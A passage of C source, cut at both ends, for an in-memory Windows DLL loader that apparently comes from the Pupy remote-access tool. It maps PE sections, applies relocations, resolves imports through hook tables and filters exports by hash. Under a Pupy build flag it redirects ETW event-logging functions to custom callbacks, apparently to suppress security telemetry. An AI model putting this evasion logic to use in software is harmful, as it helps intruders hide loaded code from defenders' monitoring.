char *msg)\n{\n    LPVOID tmp;\n    char *tmpmsg;\n    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL);\n    tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);\n    sprintf(tmpmsg, \"%s: %s\", msg, tmp);\n    OutputDebugString(tmpmsg);\n    LocalFree(tmpmsg);\n    LocalFree(tmp);\n}\n#endif\n\nstatic BOOL\nCopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)\n{\n    int i, size;\n    unsigned char *codeBase = module->codeBase;\n    unsigned char *dest;\n    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);\n    for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++) {\n        if (section->SizeOfRawData == 0) {\n            // section doesn't contain data in the dll itself, but may define\n            // uninitialized data\n            size = old_headers->OptionalHeader.SectionAlignment;\n            if (size > 0) {\n                dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,\n                    size,\n                    MEM_COMMIT,\n                    PAGE_READWRITE);\n                if (dest == NULL) {\n                    return FALSE;\n                }\n\n                // Always use position from file to support alignments smaller\n                // than page size.\n                dest = codeBase + section->VirtualAddress;\n                section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;\n                memset(dest, 0, size);\n            }\n\n            // section is empty\n            continue;\n        }\n\n        // commit memory block and copy data from dll\n        dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,\n                            section->SizeOfRawData,\n                            MEM_COMMIT,\n                            PAGE_READWRITE);\n        if (dest == NULL) {\n            return FALSE;\n        }\n\n        // Always use position from file to support alignments smaller\n        // than page size.\n        dest = codeBase + section->VirtualAddress;\n        memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);\n        section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;\n    }\n\n    return TRUE;\n}\n\n// Protection flags for memory pages (Executable, Readable, Writeable)\nstatic int ProtectionFlags[2][2][2] = {\n    {\n        // not executable\n        {PAGE_NOACCESS, PAGE_WRITECOPY},\n        {PAGE_READONLY, PAGE_READWRITE},\n    }, {\n        // executable\n        {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},\n        {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},\n    },\n};\n\nstatic DWORD\nGetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) {\n    DWORD size = section->SizeOfRawData;\n    if (size == 0) {\n        if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {\n            size = module->headers->OptionalHeader.SizeOfInitializedData;\n        } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {\n            size = module->headers->OptionalHeader.SizeOfUninitializedData;\n        }\n    }\n    return size;\n}\n\nstatic BOOL\nFinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) {\n    DWORD protect, oldProtect;\n    BOOL executable;\n    BOOL readable;\n    BOOL writeable;\n\n    if (sectionData->size == 0) {\n        return TRUE;\n    }\n\n    if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {\n        // section is not needed any more and can safely be freed\n        if (sectionData->address == sectionData->alignedAddress &&\n            (sectionData->last ||\n             module->headers->OptionalHeader.SectionAlignment == module->pageSize ||\n             (sectionData->size % module->pageSize) == 0))\n        {\n            // Only allowed to decommit whole pages\n            dprint(\n                \"VirtualFree: %p - %p (%lu)\\n\",\n                sectionData->address, (PCHAR) sectionData->address + sectionData->size, sectionData->size\n            );\n\n            VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT);\n        }\n        return TRUE;\n    }\n\n    // determine protection flags based on characteristics\n    executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;\n    readable =   (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;\n    writeable =  (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;\n    protect = ProtectionFlags[executable][readable][writeable];\n    if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {\n        protect |= PAGE_NOCACHE;\n    }\n\n    // change memory access flags\n    dprint(\n        \"VirtualProtect: %p - %p (%lu) %08x\\n\",\n        sectionData->address, (PCHAR) sectionData->address + sectionData->size, sectionData->size, protect\n    );\n    if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {\n#ifdef DEBUG_OUTPUT\n        OutputLastError(\"Error protecting memory page\");\n#endif\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nstatic BOOL\nFinalizeSections(PMEMORYMODULE module)\n{\n    int i;\n    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);\n#ifdef _WIN64\n    uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);\n#else\n    #define imageOffset 0\n#endif\n    SECTIONFINALIZEDATA sectionData;\n    sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);\n    sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize);\n    sectionData.size = GetRealSectionSize(module, section);\n    sectionData.characteristics = section->Characteristics;\n    sectionData.last = FALSE;\n    section++;\n\n    // loop through all sections and change access flags\n    for (i=1; i<module->headers->FileHeader.NumberOfSections; i++, section++) {\n        LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);\n        LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize);\n        DWORD sectionSize = GetRealSectionSize(module, section);\n        // Combine access flags of all sections that share a page\n        // TODO(fancycode): We currently share flags of a trailing large section\n        //   with the page of a first small section. This should be optimized.\n        if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) {\n            // Section shares page with previous\n            if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {\n                sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;\n            } else {\n                sectionData.characteristics |= section->Characteristics;\n            }\n            sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address;\n            continue;\n        }\n\n        if (!FinalizeSection(module, &sectionData)) {\n            return FALSE;\n        }\n\n        sectionData.address = sectionAddress;\n        sectionData.alignedAddress = alignedAddress;\n        sectionData.size = sectionSize;\n        sectionData.characteristics = section->Characteristics;\n    }\n    sectionData.last = TRUE;\n    if (!FinalizeSection(module, &sectionData)) {\n        return FALSE;\n    }\n#ifndef _WIN64\n#undef imageOffset\n#endif\n    return TRUE;\n}\n\nstatic BOOL\nExecuteTLS(PMEMORYMODULE module)\n{\n    unsigned char *codeBase = module->codeBase;\n    PIMAGE_TLS_DIRECTORY tls;\n    PIMAGE_TLS_CALLBACK* callback;\n\n    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(\n        module, IMAGE_DIRECTORY_ENTRY_TLS);\n    if (directory->VirtualAddress == 0) {\n        dprint(\"No TLS callbacks..\\n\");\n        return TRUE;\n    }\n\n    dprint(\"Execute TLS..\\n\");\n\n    tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress);\n    callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks;\n    if (callback) {\n        while (*callback) {\n            dprint(\"Call TLS Callback %p\\n\", callback);\n            (*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL);\n            callback++;\n        }\n    }\n    return TRUE;\n}\n\nstatic BOOL\nPerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta)\n{\n    unsigned char *codeBase = module->codeBase;\n    PIMAGE_BASE_RELOCATION relocation;\n\n    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);\n    if (directory->Size == 0) {\n        return (delta == 0);\n    }\n\n    relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress);\n    for (; relocation->VirtualAddress > 0; ) {\n        DWORD i;\n        unsigned char *dest = codeBase + relocation->VirtualAddress;\n        unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);\n        for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) {\n            DWORD *patchAddrHL;\n#ifdef _WIN64\n            ULONGLONG *patchAddr64;\n#endif\n            int type, offset;\n\n            // the upper 4 bits define the type of relocation\n            type = *relInfo >> 12;\n            // the lower 12 bits define the offset\n            offset = *relInfo & 0xfff;\n\n            switch (type)\n            {\n            case IMAGE_REL_BASED_ABSOLUTE:\n                // skip relocation\n                break;\n\n            case IMAGE_REL_BASED_HIGHLOW:\n                // change complete 32 bit address\n                patchAddrHL = (DWORD *) (dest + offset);\n                *patchAddrHL += (DWORD) delta;\n                break;\n\n#ifdef _WIN64\n            case IMAGE_REL_BASED_DIR64:\n                patchAddr64 = (ULONGLONG *) (dest + offset);\n                *patchAddr64 += (ULONGLONG) delta;\n                break;\n#endif\n\n            default:\n                //printf(\"Unknown relocation: %d\\n\", type);\n                break;\n            }\n        }\n\n        // advance to next relocation block\n        relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock);\n    }\n    return TRUE;\n}\n\nstatic FARPROC\nGetImportAddr(\n    ImportHooks *hooks, CustomGetProcAddress getProcAddress,\n        HCUSTOMMODULE hModule, LPCSTR pszSymName)\n{\n    ImportHooks *iter;\n\n    if (!hooks)\n        return getProcAddress(hModule, pszSymName);\n\n    for (iter = hooks; iter->symbol; iter ++) {\n        if (!iter->addr)\n            continue;\n\n        if (!strcmp(iter->symbol, pszSymName)) {\n            dprint(\"HOOK %s -> %p\\n\", pszSymName, iter->addr);\n            return iter->addr;\n        }\n    }\n\n    return getProcAddress(hModule, pszSymName);\n}\n\nstatic BOOL\nBuildResourceTables(PMEMORYMODULE module)\n{\n    unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;\n    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(\n        (PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE);\n    PIMAGE_RESOURCE_DIRECTORY rootResources;\n\n    if (directory->Size == 0) {\n        module->resources = NULL;\n        return TRUE;\n    }\n\n    module->resources = codeBase + directory->VirtualAddress;\n    return TRUE;\n}\n\nstatic\nBOOL CALLBACK\nGetVersionExW_Hooked(OSVERSIONINFOEXW *info) {\n    NTSTATUS ntResult = RtlGetVersion(info);\n    return ntResult == S_OK;\n}\n\nstatic\nBOOL CALLBACK\nGetVersionExA_Hooked(OSVERSIONINFOEXA *info) {\n    OSVERSIONINFOEXW infow;\n    DWORD dwResult;\n    NTSTATUS ntResult = RtlGetVersion(&infow);\n    if (ntResult != S_OK)\n        return FALSE;\n\n    dwResult = WideCharToMultiByte(\n        CP_OEMCP, 0, infow.szCSDVersion, -1, info->szCSDVersion,\n        sizeof(info->szCSDVersion), NULL, NULL\n    );\n\n    if (!SUCCEEDED(dwResult))\n        return FALSE;\n\n    info->dwOSVersionInfoSize = infow.dwOSVersionInfoSize;\n    info->dwMajorVersion = infow.dwMajorVersion;\n    info->dwMinorVersion = infow.dwMinorVersion;\n    info->dwBuildNumber = infow.dwBuildNumber;\n    info->dwPlatformId = infow.dwPlatformId;\n    info->wServicePackMajor = infow.wServicePackMajor;\n    info->wServicePackMinor = infow.wServicePackMinor;\n    info->wSuiteMask = infow.wSuiteMask;\n    info->wProductType = infow.wProductType;\n    info->wReserved = infow.wReserved;\n\n    return TRUE;\n}\n\nstatic\nImportHooks* GetHooks(DllHooks *dllhooks, const char *dllName)\n{\n    DllHooks *iter;\n\n    for (iter = dllhooks; iter->dllname; iter ++) {\n        if (!_stricmp(iter->dllname, dllName)) {\n            return iter->hooks;\n        }\n    }\n\n    return NULL;\n}\n\n\nstatic BOOL\nBuildImportTable(PMEMORYMODULE module)\n{\n    unsigned char *codeBase = module->codeBase;\n    PIMAGE_IMPORT_DESCRIPTOR importDesc;\n    BOOL result = TRUE;\n\n    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(\n        module, IMAGE_DIRECTORY_ENTRY_IMPORT);\n\n    ImportHooks kernel32Hooks[] = {\n        {\"LoadLibraryA\", (FARPROC) module->callbacks->loadLibraryA},\n        {\"LoadLibraryW\", (FARPROC) module->callbacks->loadLibraryW},\n        {\"LoadLibraryExA\", (FARPROC) module->callbacks->loadLibraryExA},\n        {\"LoadLibraryExW\", (FARPROC) module->callbacks->loadLibraryExW},\n        {\"GetModuleHandleA\", (FARPROC) module->callbacks->getModuleHandleA},\n        {\"GetModuleHandleW\", (FARPROC) module->callbacks->getModuleHandleW},\n        {\"GetModuleHandleExA\", (FARPROC) module->callbacks->getModuleHandleExA},\n        {\"GetModuleHandleExW\", (FARPROC) module->callbacks->getModuleHandleExW},\n        {\"GetModuleFileNameA\", (FARPROC) module->callbacks->getModuleFileNameA},\n        {\"GetModuleFileNameW\", (FARPROC) module->callbacks->getModuleFileNameW},\n\n        {\"GetVersionExA\", (FARPROC) GetVersionExA_Hooked},\n        {\"GetVersionExW\", (FARPROC) GetVersionExW_Hooked},\n\n        {\"FindResourceA\", (FARPROC) module->callbacks->getFindResourceA},\n        {\"FindResourceW\", (FARPROC) module->callbacks->getFindResourceW},\n        {\"FindResourceExA\", (FARPROC) module->callbacks->getFindResourceExA},\n        {\"FindResourceExW\", (FARPROC) module->callbacks->getFindResourceExW},\n        {\"SizeofResource\", (FARPROC) module->callbacks->getSizeofResource},\n        {\"LoadResource\", (FARPROC) module->callbacks->getLoadResource},\n\n        {\"CreateThread\", (FARPROC) module->callbacks->createThread},\n\n        {\"GetProcAddress\", (FARPROC) module->callbacks->getProcAddress},\n        {\"FreeLibrary\", (FARPROC) module->callbacks->freeLibrary},\n        {NULL, NULL}\n    };\n\n#ifdef _PUPY_PRIVATE_WS2_32\n    ImportHooks ntdllHooks[] = {\n        {\"EtwEventRegister\", (FARPROC) module->callbacks->systemEtwRegister},\n        {\"EtwEventWrite\", (FARPROC) module->callbacks->systemEtwEventWrite},\n        {\"EtwEventWriteFull\", (FARPROC) module->callbacks->systemEtwEventWriteFull},\n        {\"EtwEventUnregister\", (FARPROC) module->callbacks->systemEtwUnregister},\n        {NULL, NULL}\n    };\n\n    ImportHooks advapi32Hooks[] = {\n        {\"EventRegister\", (FARPROC) module->callbacks->systemEtwRegister},\n        {\"EventWrite\", (FARPROC) module->callbacks->systemEtwEventWrite},\n        {\"EventWriteFull\", (FARPROC) module->callbacks->systemEtwEventWriteFull},\n        {\"EventUnregister\", (FARPROC) module->callbacks->systemEtwUnregister},\n        {NULL, NULL}\n    };\n#endif\n\n    DllHooks dllHooks[] = {\n        { \"KERNEL32.DLL\", kernel32Hooks },\n#ifdef _PUPY_PRIVATE_WS2_32\n        { \"ADVAPI32.DLL\", advapi32Hooks },\n        { \"NTDLL.DLL\", ntdllHooks },\n#endif\n        {NULL, NULL}\n    };\n\n    if (directory->Size == 0)\n        return TRUE;\n\n    dprint(\"Resolving imports\\n\");\n\n    importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);\n    for (\n        ;\n        !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++\n    ) {\n        ImportHooks *hooks = NULL;\n        uintptr_t *thunkRef;\n        FARPROC *funcRef;\n        HCUSTOMMODULE *tmp;\n        HCUSTOMMODULE handle;\n        LPCSTR lpcszLibraryName = (LPCSTR) (codeBase + importDesc->Name);\n\n        dprint(\n            \"Import %s (LoadLibraryA = %p)\\n\",\n            lpcszLibraryName,\n            module->callbacks->loadLibraryA\n        );\n\n        handle = module->callbacks->loadLibraryA(lpcszLibraryName);\n\n        dprint(\"Import %s -> %p\\n\", lpcszLibraryName, handle);\n\n        if (!handle) {\n            SetLastError(ERROR_MOD_NOT_FOUND);\n            result = FALSE;\n            break;\n        }\n\n        tmp = (HCUSTOMMODULE *) realloc(\n            module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));\n        if (tmp == NULL) {\n            module->callbacks->freeLibrary(handle);\n            SetLastError(ERROR_OUTOFMEMORY);\n            result = FALSE;\n            break;\n        }\n\n        module->modules = tmp;\n        module->modules[module->numModules++] = handle;\n\n        if (importDesc->OriginalFirstThunk) {\n            thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);\n            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);\n            dprint(\"%s have hint table, offset=%lu\\n\",\n                lpcszLibraryName, importDesc->OriginalFirstThunk);\n        } else {\n            // no hint table\n            dprint(\"%s does not have hint table\\n\", lpcszLibraryName);\n            thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);\n            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);\n        }\n\n        hooks = GetHooks(dllHooks, lpcszLibraryName);\n        if (hooks) {\n            dprint(\"Use hooks for %s: %p\\n\", lpcszLibraryName, hooks);\n        }\n\n        dprint(\"Resolving symbols.. (%p)\\n\", thunkRef);\n\n        for (; thunkRef && *thunkRef; thunkRef++, funcRef++) {\n            dprint(\"Thunk value: %p\\n\", *thunkRef);\n\n            if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {\n\n                dprint(\"Import by thunk (%d)\\n\", IMAGE_ORDINAL(*thunkRef));\n\n                *funcRef = module->callbacks->getProcAddress(\n                    handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef)\n                );\n\n                dprint(\"Import %d@%s -> %p\\n\",\n                    IMAGE_ORDINAL(*thunkRef), lpcszLibraryName, *funcRef);\n\n            } else {\n                PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (\n                    codeBase + (*thunkRef));\n\n                dprint(\"Import %s@%s -> ?\\n\",\n                    (LPCSTR)&thunkData->Name, lpcszLibraryName);\n\n                *funcRef = GetImportAddr(\n                    hooks, module->callbacks->getProcAddress,\n                    handle, (LPCSTR)&thunkData->Name\n                );\n\n                dprint(\"Import %s@%s -> %p\\n\",\n                    (LPCSTR)&thunkData->Name, lpcszLibraryName, *funcRef);\n            }\n\n            if (!*funcRef) {\n                result = FALSE;\n                break;\n            }\n        }\n\n        dprint(\"Resolving symbols %s -> complete, result=%p\\n\", lpcszLibraryName, result);\n\n        if (!result) {\n            module->callbacks->freeLibrary(handle);\n            SetLastError(ERROR_PROC_NOT_FOUND);\n            break;\n        }\n    }\n\n    return result;\n}\n\n//===============================================================================================//\n#if defined(_WIN64)\nBOOL WINAPI RegisterExceptionTable(PMEMORYMODULE pModule)\n{\n    UINT_PTR uiLibraryAddress = 0;\n    UINT_PTR uiAddressArray = 0;\n    UINT_PTR uiNameArray    = 0;\n    UINT_PTR uiNameOrdinals = 0;\n    PIMAGE_NT_HEADERS pNtHeaders             = NULL;\n    PIMAGE_DATA_DIRECTORY pDataDirectory     = NULL;\n    PIMAGE_RUNTIME_FUNCTION_ENTRY pExceptionDirectory = NULL;\n    DWORD dwCount;\n    BOOL bResult;\n    unsigned char *codeBase = pModule->codeBase;\n\n    if( pModule == NULL )\n        return FALSE;\n\n    pDataDirectory = GET_HEADER_DICTIONARY(pModule, IMAGE_DIRECTORY_ENTRY_EXCEPTION);\n\n    if (pDataDirectory->Size == 0 || pDataDirectory->VirtualAddress == 0) {\n        dprint(\"No exception table found\\n\");\n        return TRUE;\n    }\n\n    // get the VA of the export directory\n    pExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(codeBase + pDataDirectory->VirtualAddress);\n\n    if (!pExceptionDirectory) {\n        dprint(\"No exception directory found\\n\");\n        return TRUE;\n    }\n\n    dwCount = (pDataDirectory->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1;\n\n    dprint(\"Registering exception table (size=%d)\\n\", dwCount);\n    return RtlAddFunctionTable((PRUNTIME_FUNCTION)pExceptionDirectory, dwCount, (UINT_PTR)codeBase);\n}\n#endif\n\nstatic\nDWORD fnv1a(const unsigned char *ucData, size_t size) {\n    size_t i;\n    DWORD dwHash = 2166136261;\n    for (i=0; i<size; i++) {\n        dwHash ^= ucData[i];\n        dwHash *= 16777619;\n    }\n    return dwHash;\n}\n\nstatic\nBOOL isAllowedSymbol(LPCSTR procname, PVOID pvExportFilter, MEMORY_LOAD_FLAGS flags) {\n    size_t proclen;\n\n    if (HIWORD(procname) == 0) {\n        return TRUE;\n    }\n\n    if (!pvExportFilter) {\n        return TRUE;\n    }\n\n    proclen = strlen(procname);\n\n    switch (flags & (MEMORY_LOAD_EXPORT_FILTER_FNV1A | MEMORY_LOAD_EXPORT_FILTER_PREFIX)) {\n        case MEMORY_LOAD_DEFAULT: {\n            const PSTR *pIter;\n            for (pIter=pvExportFilter; pIter && *pIter; pIter++) {\n                LPCSTR pSymbol = *pIter;\n                if (!strcmp(pSymbol, procname)) {\n                    dprint(\"Allow import %s - by symbol\\n\", procname);\n                    return TRUE;\n                }\n            }\n        }\n        break;\n\n        case MEMORY_LOAD_EXPORT_FILTER_FNV1A: {\n            DWORD dwProcHash = fnv1a((const unsigned char *) procname, proclen);\n            PDWORD pIter;\n            for (pIter=pvExportFilter; pIter && *pIter; pIter++) {\n                if (*pIter == dwProcHash) {\n                    dprint(\"Allow import %s - by fnv1a (%08x)\\n\",\n                        procname, dwProcHash);\n                    return TRUE;\n                }\n            }\n        }\n        break;\n\n        case MEMORY_LOAD_EXPORT_FILTER_PREFIX: {\n            const PSTR *pIter;\n            for (pIter=pvExportFilter; pIter && *pIter; pIter++) {\n                LPCSTR pPrefix = *pIter;\n                size_t len = strlen(pPrefix);\n\n                if (len > proclen)\n                    continue;\n\n                if (!strncmp(pPrefix, procname, len)) {\n                    dprint(\"Allow import %s - prefix '%s' (%d)\\n\",\n                        procname, pPrefix, len);\n                    return TRUE;\n                }\n            }\n        }\n        break;\n\n        default:\n            dprint(\"Invalid flags %08x\\n\", flags);\n    }\n\n    dprint(\"Deny import: %s\\n\", procname);\n    return FALSE;\n}\n\nVOID BuildExportTable(PMEMORYMODULE module)\n{\n    unsigned char *codeBase = module->codeBase;\n    DWORD i;\n    PDWORD nameRef;\n    PWORD ordinal;\n    FUNCHASH *phIdx, *phExports = NULL;\n    PIMAGE_EXPORT_DIRECTORY exports = NULL;\n    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);\n\n    if (module->headers->OptionalHeader.AddressOfEntryPoint != 0) {\n        if (module->isDLL) {\n            module->pcDllEntry = (DllEntryProc) (module->codeBase +\n                    module->headers->OptionalHeader.AddressOfEntryPoint);\n            module->exeEntry = NULL;\n        } else {\n            module->pcDllEntry= NULL;\n            module->exeEntry = (ExeEntryProc) (module->codeBase +\n                module->headers->OptionalHeader.AddressOfEntryPoint);\n        }\n    }\n\n    if (directory->Size)\n        exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);\n\n    if (!(exports && exports->NumberOfNames &&\n             exports->NumberOfFunctions)) {\n        module->exports.dwFunctionsCount = 0;\n        module->exports.fpFunctions = NULL;\n        module->phExportsIndex = NULL;\n        return;\n    }\n\n    module->exports.dwFunctionsCount = exports->NumberOfFunctions;\n    module->exports.dwBase = exports->Base;\n    module->exports.fpFunctions = (FARPROC*) malloc(\n        exports->NumberOfFunctions * sizeof(FARPROC));\n\n    // search function name in list of exported names\n    nameRef = (DWORD *) (codeBase + exports->AddressOfNames);\n    ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);\n\n    for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {\n        LPCSTR pcName = (LPCSTR) (codeBase + (*nameRef));\n        DWORD dwIdx = *ordinal;\n        FARPROC proc = NULL;\n\n        if (dwIdx > exports->NumberOfFunctions)\n            continue;\n\n        if (!isAllowedSymbol(pcName, module->pvExportFilter, module->flags))\n            continue;\n\n        proc = (FARPROC) (\n            codeBase + (*(DWORD *) (\n                codeBase + exports->AddressOfFunctions + (dwIdx*4))));\n\n        module->exports.fpFunctions[dwIdx] = proc;\n\n        phIdx = (FUNCHASH*) malloc (sizeof(FUNCHASH));\n        phIdx->name = strdup(pcName);\n        phIdx->proc = proc;\n        HASH_ADD_KEYPTR(\n            hh, phExports, phIdx->name, strlen(phIdx->name), phIdx\n        );\n    }\n\n    module->phExportsIndex = phExports;\n}\n\nDWORD SizeOfPEHeader(IMAGE_NT_HEADERS *headers)\n{\n    return offsetof(IMAGE_NT_HEADERS, OptionalHeader) +\n        headers->FileHeader.SizeOfOptionalHeader +\n        (headers->FileHeader.NumberOfSections * sizeof (IMAGE_SECTION_HEADER));\n}\n\nVOID CleanupHeaders(PMEMORYMODULE module) {\n    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(\n        module, IMAGE_DIRECTORY_ENTRY_EXPORT);\n\n    dprint(\n        \"Cleaning PE headers at %p, size %d\\n\",\n        module->headers, SizeOfPEHeader(module->headers));\n\n    if (!VirtualFree(\n        module->headers, SizeOfPEHeader(module->headers),\n        MEM_DECOMMIT)) {\n            dprint(\"Cleaning PE Header failed: %d\\n\", GetLastError());\n        }\n}\n\nBOOL _CreateModuleMapping(HMODULE hModule, HANDLE *phMapping, PVOID *ppvMem)\n{\n    CHAR szDllPath[MAX_PATH+1];\n\n    HANDLE hFile;\n    HANDLE hMapping;\n    PVOID pvMem;\n\n    if (!GetModuleFileNameA(hModule, szDllPath, sizeof(szDllPath))) {\n        return FALSE;\n    }\n\n    dprint(\"CreateMapping of %s\\n\", szDllPath);\n    hFile = CreateFileA(\n        szDllPath,\n        GENERIC_READ,\n        FILE_SHARE_READ,\n        NULL,\n        OPEN_EXISTING,\n        FILE_ATTRIBUTE_NORMAL,\n        NULL\n    );\n\n    if (hFile == INVALID_HANDLE_VALUE) {\n        dprint(\"Failed to open %s: %d\\n\", szDllPath, GetLastError());\n        return FALSE;\n    }\n\n    hMapping = CreateFileMappingA(\n        hFile,\n        NULL,\n        PAGE_READONLY,\n        0,\n        0,\n        NULL\n    );\n\n    CloseHandle(hFile);\n\n    if (hMapping == INVALID_HANDLE_VALUE) {\n        dprint(\"Failed create mapping of %s: %d\\n\", szDllPath, GetLastError());\n        return FALSE;\n    }\n\n    pvMem = MapViewOfFile(\n        hMapping,\n        FILE_MAP_READ,\n        0,\n        0,\n        0\n    );\n\n    if (!pvMem) {\n        dprint(\"Failed create view of %s: %d\\n\", szDllPath, GetLastError());\n        CloseHandle(hMapping);\n        return FALSE;\n    }\n\n    *phMapping = hMapping;\n    *ppvMem = pvMem;\n    return TRUE;\n}\n\n#define _ISSET(dw, x) ((dw) & (x))\n\nHMEMORYMODULE MemoryLoadLibraryEx(\n    const PVOID pvData,\n    PDL_CALLBACKS pdlCallbacks,\n    PVOID pvDllMainReserved,\n    const PVOID pvExportFilter,\n    MEMORY_LOAD_FLAGS flags\n)\n{\n    PMEMORYMODULE result = NULL;\n    PIMAGE_DOS_HEADER dos_header;\n    PIMAGE_NT_HEADERS old_header;\n    unsigned char *code = NULL;\n    unsigned char *headers = NULL;\n    SIZE_T locationDelta;\n    SYSTEM_INFO sysInfo;\n    HMODULE hModule;\n    HMODULE hOriginalModule = NULL;\n    HMODULE hAliasedModule = NULL;\n    HANDLE hMapping = INVALID_HANDLE_VALUE;\n    const void *pvViewOfFile = NULL;\n    const unsigned char *data = NULL;\n\n    if (!pdlCallbacks) {\n        dprint(\"No callbacks!\\n\");\n        return NULL;\n    }\n\n    if (_ISSET(flags, MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_UNHOOK)) {\n        hOriginalModule = (HMODULE) pvData;\n        if (!_CreateModuleMapping(hOriginalModule, &hMapping, &pvViewOfFile)) {\n            dprint(\"MemoryLoadLibraryEx: Failed to mmap original module\\n\");\n            SetLastError(ERROR_OUTOFMEMORY);\n            return NULL;\n        }\n\n        data = pvViewOfFile;\n    } else {\n        data = (const unsigned char *) pvData;\n    }\n\n    dprint(\"MemoryLoadLibraryEx: Load from %p\\n\", data);\n\n    dos_header = (PIMAGE_DOS_HEADER)data;\n    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {\n        SetLastError(ERROR_BAD_EXE_FORMAT);\n        goto cleanup;\n    }\n\n    old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];\n    if (old_header->Signature != IMAGE_NT_SIGNATURE) {\n        SetLastError(ERROR_BAD_EXE_FORMAT);\n        goto cleanup;\n    }\n\n#ifdef _WIN64\n    if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {\n#else\n    if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) {\n#endif\n        SetLastError(ERROR_BAD_EXE_FORMAT);\n        goto cleanup;\n    }\n\n    if (old_header->OptionalHeader.SectionAlignment & 1) {\n        // Only support section alignments that are a multiple of 2\n        SetLastError(ERROR_BAD_EXE_FORMAT);\n        goto cleanup;\n    }\n\n#if DEBUG\n    // reserve memory for image of library\n    // XXX: is it correct to commit the complete memory region at once?\n    //      calling DllEntry raises an exception if we don't...\n    code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),\n        old_header->OptionalHeader.SizeOfImage,\n        MEM_RESERVE | 